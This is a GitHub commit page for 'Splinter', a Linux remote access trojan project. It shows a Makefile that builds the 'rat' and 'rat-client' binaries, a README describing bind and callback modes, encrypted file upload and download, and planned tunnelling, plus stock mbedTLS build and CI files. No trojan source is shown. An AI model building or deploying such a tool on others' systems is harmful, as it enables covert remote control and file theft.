-
Notifications
You must be signed in to change notification settings - Fork 21
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
snap
committed
Oct 7, 2016
1 parent
afc09e5
commit f3b8a9a
Showing
922 changed files
with
293,936 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
CC = gcc | ||
CFLAGS = -O2 -std=c99 -Wall -W -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -g | ||
INCLUDES = -I./mbedtls/include -I./ -I./readline #-I./zlib/include -I./readline -I./ | ||
LFLAGS = -L./mbedtls/library \ | ||
-L./readline/shlib \ | ||
#-L./zlib | ||
LIBS = -lmbedtls \ | ||
-lmbedx509 \ | ||
-lmbedcrypto \ | ||
-lncurses \ | ||
-lreadline \ | ||
#-lz | ||
|
||
all: | ||
#cd readline; make; cd shlib; mv libreadline.so.6* libreadline.so; cd ../.. | ||
#cd zlib; make; cd .. | ||
#cd mbedtls; make; cd .. | ||
|
||
$(CC) $(CFLAGS) $(INCLUDES) -o rat rat.c $(LFLAGS) $(LIBS) | ||
$(CC) $(CFLAGS) $(INCLUDES) -o rat-client rat-client.c $(LFLAGS) $(LIBS) | ||
|
||
clean: | ||
rm -f rat rat-client |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
# Splinter | ||
|
||
Linux remote access trojan (RAT) | ||
|
||
|
||
This is the starting code for a Linux RAT written in C. I was tired of there being no real Linux RATs, most of the time it's just ncat. It uses mbedTLS for encryption and miniz (but able to use zlib) compression for all the communications. I'm unsure if I did the crypto correctly, but I feel that it's good enough for now | ||
I started this project to learn C and I've been working on it for a couple months. If any problems happens or features wanted, please let me know. | ||
|
||
rat.c | ||
-Port is configurable at runtime through the environment variable "P". It will bind on all interfaces by default. | ||
-Uses poll to handle multiple commands | ||
|
||
-Capable of calling back via "I" environment variable. | ||
|
||
rat-client.c | ||
-Command history and tab completion provided by readline | ||
-Currently has 4 native commands: | ||
.exit - Closes that current client's connection | ||
.kill - Kills off the rat process and all the client's connection | ||
download <remote file> <local file> - Chunks a file, compresses it and sends it over. Will verify the file transfer via SHAA1 hash | ||
upload <local file> <remote file> - Performs the same operation as download but uploads instead | ||
|
||
Example: | ||
rat binds and client connects to it | ||
remote shell> P=12345 ./rat | ||
shell> ./rat-client 127.0.0.1 12345 | ||
|
||
rat calls back to client | ||
shell ./rat-client 12345 | ||
remote_shell> I=127.0.0.1 P=12345 ./rat | ||
|
||
TODO: | ||
Simple: | ||
-Move the rat.c output inside of DEBUG blocks so it's not spewing everywhere | ||
-Clean up rat-client.c output so it's a little nicer | ||
-Change the client command prompt to actually get the target's IP address | ||
|
||
Advanced: | ||
-Add in SSH-type tunnels to be able to do forward and reverse tunels | ||
-Add in the ability to fork and bind on a different port or callback via commands | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
CMakeCache.txt | ||
CMakeFiles | ||
CTestTestfile.cmake | ||
cmake_install.cmake | ||
Testing | ||
Coverage | ||
*.gcno | ||
*.gcda | ||
|
||
# generated by scripts/memory.sh | ||
massif-* | ||
|
||
# MSVC files generated by CMake: | ||
/*.sln | ||
/*.vcxproj | ||
/*.filters | ||
|
||
# MSVC build artifacts: | ||
*.exe | ||
*.pdb | ||
*.ilk | ||
*.lib | ||
|
||
# CMake generates *.dir/ folders for in-tree builds (used by MSVC projects), ignore all of those: | ||
*.dir/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
language: c | ||
compiler: | ||
- clang | ||
- gcc | ||
sudo: false | ||
cache: ccache | ||
script: | ||
- tests/scripts/recursion.pl library/*.c | ||
- tests/scripts/check-generated-files.sh | ||
- tests/scripts/check-doxy-blocks.pl | ||
- tests/scripts/check-names.sh | ||
- cmake -D CMAKE_BUILD_TYPE:String="Check" . | ||
- make | ||
- make test | ||
- programs/test/selftest | ||
- OSSL_NO_DTLS=1 tests/compat.sh | ||
- tests/ssl-opt.sh -e '\(DTLS\|SCSV\).*openssl' | ||
- tests/scripts/test-ref-configs.pl | ||
- tests/scripts/curves.pl | ||
- tests/scripts/key-exchanges.pl | ||
env: | ||
global: | ||
secure: "barHldniAfXyoWOD/vcO+E6/Xm4fmcaUoC9BeKW+LwsHqlDMLvugaJnmLXkSpkbYhVL61Hzf3bo0KPJn88AFc5Rkf8oYHPjH4adMnVXkf3B9ghHCgznqHsAH3choo6tnPxaFgOwOYmLGb382nQxfE5lUdvnM/W/psQjWt66A1+k=" | ||
|
||
addons: | ||
coverity_scan: | ||
project: | ||
name: "ARMmbed/mbedtls" | ||
notification_email: [email protected] | ||
build_command_prepend: | ||
build_command: make | ||
branch_pattern: coverity_scan |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,137 @@ | ||
cmake_minimum_required(VERSION 2.6) | ||
project("mbed TLS" C) | ||
|
||
option(USE_PKCS11_HELPER_LIBRARY "Build mbed TLS with the pkcs11-helper library." OFF) | ||
option(ENABLE_ZLIB_SUPPORT "Build mbed TLS with zlib library." OFF) | ||
|
||
option(ENABLE_PROGRAMS "Build mbed TLS programs." ON) | ||
|
||
|
||
# the test suites currently have compile errors with MSVC | ||
if(MSVC) | ||
option(ENABLE_TESTING "Build mbed TLS tests." OFF) | ||
else() | ||
option(ENABLE_TESTING "Build mbed TLS tests." ON) | ||
endif() | ||
|
||
set(CMAKE_BUILD_TYPE ${CMAKE_BUILD_TYPE} | ||
CACHE STRING "Choose the type of build: None Debug Release Coverage ASan ASanDbg MemSan MemSanDbg Check CheckFull" | ||
FORCE) | ||
|
||
string(REGEX MATCH "Clang" CMAKE_COMPILER_IS_CLANG "${CMAKE_C_COMPILER_ID}") | ||
|
||
if(CMAKE_COMPILER_IS_GNUCC) | ||
# some warnings we want are not available with old GCC versions | ||
# note: starting with CMake 2.8 we could use CMAKE_C_COMPILER_VERSION | ||
execute_process(COMMAND ${CMAKE_C_COMPILER} -dumpversion | ||
OUTPUT_VARIABLE GCC_VERSION) | ||
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wall -Wextra -W -Wdeclaration-after-statement -Wwrite-strings") | ||
if (GCC_VERSION VERSION_GREATER 4.5 OR GCC_VERSION VERSION_EQUAL 4.5) | ||
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wlogical-op") | ||
endif() | ||
if (GCC_VERSION VERSION_GREATER 4.8 OR GCC_VERSION VERSION_EQUAL 4.8) | ||
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wshadow") | ||
endif() | ||
set(CMAKE_C_FLAGS_RELEASE "-O2") | ||
set(CMAKE_C_FLAGS_DEBUG "-O0 -g3") | ||
set(CMAKE_C_FLAGS_COVERAGE "-O0 -g3 --coverage") | ||
set(CMAKE_C_FLAGS_ASAN "-Werror -fsanitize=address -fno-common -O3") | ||
set(CMAKE_C_FLAGS_ASANDBG "-Werror -fsanitize=address -fno-common -O1 -g3 -fno-omit-frame-pointer -fno-optimize-sibling-calls ") | ||
set(CMAKE_C_FLAGS_CHECK "-Werror -Os") | ||
set(CMAKE_C_FLAGS_CHECKFULL "${CMAKE_C_FLAGS_CHECK} -Wcast-qual") | ||
endif(CMAKE_COMPILER_IS_GNUCC) | ||
|
||
if(CMAKE_COMPILER_IS_CLANG) | ||
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wall -Wextra -W -Wdeclaration-after-statement -Wwrite-strings -Wpointer-arith -Wimplicit-fallthrough -Wshadow") | ||
set(CMAKE_C_FLAGS_RELEASE "-O2") | ||
set(CMAKE_C_FLAGS_DEBUG "-O0 -g3") | ||
set(CMAKE_C_FLAGS_COVERAGE "-O0 -g3 --coverage") | ||
set(CMAKE_C_FLAGS_ASAN "-Werror -fsanitize=address -fno-common -fsanitize=undefined -fno-sanitize-recover -O3") | ||
set(CMAKE_C_FLAGS_ASANDBG "-Werror -fsanitize=address -fno-common -fsanitize=undefined -fno-sanitize-recover -O1 -g3 -fno-omit-frame-pointer -fno-optimize-sibling-calls ") | ||
set(CMAKE_C_FLAGS_MEMSAN "-Werror -fsanitize=memory -O3") | ||
set(CMAKE_C_FLAGS_MEMSANDBG "-Werror -fsanitize=memory -O1 -g3 -fno-omit-frame-pointer -fno-optimize-sibling-calls -fsanitize-memory-track-origins=2") | ||
set(CMAKE_C_FLAGS_CHECK "-Werror -Os") | ||
endif(CMAKE_COMPILER_IS_CLANG) | ||
|
||
if(MSVC) | ||
set(CMAKE_C_FLAGS_CHECK "/WX") | ||
endif(MSVC) | ||
|
||
if(CMAKE_BUILD_TYPE STREQUAL "Coverage") | ||
if(CMAKE_COMPILER_IS_GNUCC OR CMAKE_COMPILER_IS_CLANG) | ||
set(CMAKE_SHARED_LINKER_FLAGS "--coverage") | ||
endif(CMAKE_COMPILER_IS_GNUCC OR CMAKE_COMPILER_IS_CLANG) | ||
endif(CMAKE_BUILD_TYPE STREQUAL "Coverage") | ||
|
||
if(LIB_INSTALL_DIR) | ||
else() | ||
set(LIB_INSTALL_DIR lib) | ||
endif() | ||
|
||
include_directories(include/) | ||
|
||
if(ENABLE_ZLIB_SUPPORT) | ||
find_package(ZLIB) | ||
|
||
if(ZLIB_FOUND) | ||
include_directories(${ZLIB_INCLUDE_DIR}) | ||
endif(ZLIB_FOUND) | ||
endif(ENABLE_ZLIB_SUPPORT) | ||
|
||
add_subdirectory(library) | ||
add_subdirectory(include) | ||
|
||
if(ENABLE_PROGRAMS) | ||
add_subdirectory(programs) | ||
endif() | ||
|
||
# targets for doxygen only work on Unix | ||
if(UNIX) | ||
ADD_CUSTOM_TARGET(apidoc | ||
COMMAND mkdir -p apidoc | ||
COMMAND cp include/mbedtls/config.h include/mbedtls/config.h.bak | ||
COMMAND scripts/config.pl realfull | ||
COMMAND doxygen doxygen/mbedtls.doxyfile | ||
COMMAND mv include/mbedtls/config.h.bak include/mbedtls/config.h | ||
WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}) | ||
|
||
ADD_CUSTOM_TARGET(apidoc_clean | ||
COMMAND rm -rf apidoc | ||
WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}) | ||
endif(UNIX) | ||
|
||
if(ENABLE_TESTING) | ||
enable_testing() | ||
|
||
add_subdirectory(tests) | ||
|
||
# additional convenience targets for Unix only | ||
if(UNIX) | ||
|
||
ADD_CUSTOM_TARGET(covtest | ||
COMMAND make test | ||
COMMAND programs/test/selftest | ||
COMMAND tests/compat.sh | ||
COMMAND tests/ssl-opt.sh | ||
) | ||
|
||
ADD_CUSTOM_TARGET(lcov | ||
COMMAND rm -rf Coverage | ||
COMMAND lcov --capture --initial --directory library/CMakeFiles/mbedtls.dir -o files.info | ||
COMMAND lcov --capture --directory library/CMakeFiles/mbedtls.dir -o tests.info | ||
COMMAND lcov --add-tracefile files.info --add-tracefile tests.info -o all.info | ||
COMMAND lcov --remove all.info -o final.info '*.h' | ||
COMMAND gendesc tests/Descriptions.txt -o descriptions | ||
COMMAND genhtml --title "mbed TLS" --description-file descriptions --keep-descriptions --legend --no-branch-coverage -o Coverage final.info | ||
COMMAND rm -f files.info tests.info all.info final.info descriptions | ||
) | ||
|
||
ADD_CUSTOM_TARGET(memcheck | ||
COMMAND sed -i.bak s+/usr/bin/valgrind+`which valgrind`+ DartConfiguration.tcl | ||
COMMAND ctest -O memcheck.log -D ExperimentalMemCheck | ||
COMMAND tail -n1 memcheck.log | grep 'Memory checking results:' > /dev/null | ||
COMMAND rm -f memcheck.log | ||
COMMAND mv DartConfiguration.tcl.bak DartConfiguration.tcl | ||
) | ||
endif(UNIX) | ||
endif() |
Oops, something went wrong.